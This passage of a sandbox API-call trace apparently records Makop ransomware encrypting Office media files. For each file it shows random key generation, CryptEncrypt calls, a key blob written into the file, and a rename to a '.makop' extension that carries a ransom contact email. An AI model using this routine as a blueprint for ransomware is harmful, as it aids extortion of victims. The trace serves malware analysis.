lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.277] GetProcessHeap () returned 0x48a0000 [0163.277] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.277] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0163.285] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.285] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.285] GetProcessHeap () returned 0x48a0000 [0163.285] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.285] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.285] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.285] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.285] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.285] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.286] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.286] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.286] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.286] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x632, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x632, lpOverlapped=0x0) returned 1 [0163.286] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640, dwBufLen=0x640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640) returned 1 [0163.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x640, lpOverlapped=0x0) returned 1 [0163.287] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.287] SetEndOfFile (hFile=0xf0) returned 1 [0163.293] GetProcessHeap () returned 0x48a0000 [0163.294] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.294] GetProcessHeap () returned 0x48a0000 [0163.294] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.294] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.296] CloseHandle (hObject=0xf0) returned 1 [0163.296] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0163.296] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF") returned 61 [0163.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.297] GetProcessHeap () returned 0x48a0000 [0163.299] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.299] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.299] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.299] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0163.316] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.316] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.317] GetProcessHeap () returned 0x48a0000 [0163.317] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.317] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.317] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.317] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.317] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.317] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.317] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.317] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.318] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.318] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.318] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x58e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x58e, lpOverlapped=0x0) returned 1 [0163.318] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x590, dwBufLen=0x590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x590) returned 1 [0163.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x590, lpOverlapped=0x0) returned 1 [0163.318] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.319] SetEndOfFile (hFile=0xf0) returned 1 [0163.325] GetProcessHeap () returned 0x48a0000 [0163.325] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.325] GetProcessHeap () returned 0x48a0000 [0163.325] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.325] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.328] CloseHandle (hObject=0xf0) returned 1 [0163.329] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0163.329] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF") returned 61 [0163.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.331] GetProcessHeap () returned 0x48a0000 [0163.331] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.331] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.331] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0163.336] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.336] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.336] GetProcessHeap () returned 0x48a0000 [0163.336] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.336] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.336] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.336] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.337] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.337] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.337] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.337] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.337] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.337] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.337] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.338] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c6, lpOverlapped=0x0) returned 1 [0163.338] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d0) returned 1 [0163.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.338] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7d0, lpOverlapped=0x0) returned 1 [0163.338] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.339] SetEndOfFile (hFile=0xf0) returned 1 [0163.346] GetProcessHeap () returned 0x48a0000 [0163.346] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.346] GetProcessHeap () returned 0x48a0000 [0163.346] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.346] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.348] CloseHandle (hObject=0xf0) returned 1 [0163.348] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0163.348] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF") returned 61 [0163.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.351] GetProcessHeap () returned 0x48a0000 [0163.351] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.351] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.351] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.355] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.356] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.356] GetProcessHeap () returned 0x48a0000 [0163.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.356] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.356] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.356] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.357] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.357] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.357] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.357] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf5c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf5c, lpOverlapped=0x0) returned 1 [0163.358] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf60, dwBufLen=0xf60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf60) returned 1 [0163.358] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.358] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf60, lpOverlapped=0x0) returned 1 [0163.358] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.358] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.358] SetEndOfFile (hFile=0xf0) returned 1 [0163.365] GetProcessHeap () returned 0x48a0000 [0163.365] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.365] GetProcessHeap () returned 0x48a0000 [0163.365] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.365] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.367] CloseHandle (hObject=0xf0) returned 1 [0163.367] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, 